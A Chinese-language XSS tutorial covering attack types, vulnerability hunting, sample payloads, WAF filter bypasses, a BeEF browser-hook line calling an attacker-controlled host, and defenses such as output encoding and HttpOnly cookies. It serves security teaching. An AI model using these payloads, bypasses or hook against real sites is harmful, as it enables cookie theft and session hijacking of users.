XSS攻击
字数 1599 2025-08-10 23:41:56
XSS攻击详解与防御指南
1. XSS简介
XSS(跨站脚本)攻击是通过利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意程序通常是JavaScript,但也可能包括Java、VBScript、ActiveX、Flash或普通HTML。
2. XSS原理
XSS漏洞产生的主要原因是程序对输入和输出的控制不够严格,导致构建的恶意代码输入后,在前端浏览时被当作有效代码解析执行。
3. XSS危害
- 网络钓鱼,盗取用户账户
- 窃取用户cookies,获取隐私信息
- 弹出广告页面获取利益
- 劫持用户会话执行任意操作
- 传播蠕虫病毒
4. XSS发生过程示例
<input type="text" name="address1" value="value1from">
用户输入恶意代码:
"/><script>alert(document.cookie)</script>
变成:
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script>">
5. XSS挖掘方法
5.1 黑盒测试
查找用户可以输入并控制输出到页面代码的地方:
- 高风险:评论区、留言区、个人信息修改、订单信息
- 中风险:站内信、通信、私信、反馈
- 低风险:搜索框、URL、图片属性
5.2 白盒测试
- 搜索接收参数的地方:
$_GET、$_POST、$_REQUEST - 跟踪接收到的数据是否输出到页面
- 检查输出到页面的数据是否进行了过滤和HTML编码
- 搜索输出语句如
echo,跟踪输出变量来源 - 审计公共函数中的过滤逻辑
6. XSS分类
6.1 反射型XSS
原理:
- 攻击者构造包含恶意字符串的URL发给受害者
- 受害者访问该URL
- 网站在响应中引入恶意字符串
- 受害者浏览器执行恶意脚本
攻击位置:用户登录入口、网站搜索框等
案例:
http://example.com/vul/xss.php?message=<script>alert(1)</script>&submit=submit
6.2 存储型XSS
原理:
- 攻击者利用表单将恶意字符串插入网站数据库
- 受害者请求页面
- 网站在响应中引入恶意字符串
- 受害者浏览器执行恶意脚本
攻击位置:论坛、博客、留言板、评论区等
6.3 DOM型XSS
原理:
- 攻击者构造恶意URL发给受害者
- 受害者访问URL
- 网站响应不包含恶意字符串
- 浏览器执行合法脚本导致恶意脚本被插入
- 执行恶意脚本
特点:不与服务器交互,只发生在客户端
7. XSS攻击常用标签
7.1 <script>
<script>alert("xss");</script>
7.2 ``
7.3 <a>
<a href="javascript:alert('1')">test</a>
7.4 <input>
<input type="text" onkeydown="alert(1)">
<input onblur=alert("xss") autofocus><input autofocus>
7.5 <style>
<style onload=alert(1)></style>
8. XSS平台使用
8.1 基本流程
- 注册XSS平台
- 创建项目
- 选择项目类型
- 获取攻击代码
- 插入漏洞位置
注意:XSS平台可能记录你的测试数据,内部测试建议自建平台
9. BeEF工具
9.1 安装与启动
apt-get update
apt-get install beef-xss
beef-xss # 启动
beef-xss-stop # 停止
9.2 使用案例
- 插入构造代码:
<script src="http://your-ip:3000/hook.js"></script>
- 靶机上线后可在BeEF控制台操作
10. WAF绕过技术
10.1 大小写绕过
<ScRipt>ALeRt("XSS");</sCRipT>
10.2 双写绕过
<input oonnfocus="alert('xss');">
10.3 空格/回车/TAB绕过
10.4 注释绕过
<scri<!--1-->pt>alert()</sc<!--1-->ript>
10.5 字符拼接
10.6 编码绕过
- Unicode:
- URL编码:
- ASCII码:
- Base64:
10.7 过滤URL绕过
- URL编码:
- IP十进制:
- IP八进制:
10.8 过滤引号绕过
10.9 JavaScript伪协议
<a href="javascript:alert(`xss`);">xss</a>
<!-- IE7以下 -->
11. XSS防御措施
11.1 内容过滤
- 白名单过滤:只允许特定内容
- 黑名单过滤:拦截关键字
11.2 HTTP Only属性
设置会话cookie的HTTP only属性,阻止JS获取cookie
11.3 明确输入内容
对电话、数字、密码、邮箱等字段进行严格格式验证
11.4 输入长度控制
限制不可信内容的输入长度
11.5 安全措施
- 添加验证码
- 开启防护软件/WAF
- 对输出内容进行HTML编码转换
11.6 编码输出
将用户提交的所有内容转换为HTML实体:
<→<>→>"→"'→'&→&
12. 总结
XSS攻击形式多样,防御需要从输入过滤、输出编码、内容验证等多方面入手。开发者应保持安全意识,对所有用户输入保持怀疑态度,实施纵深防御策略。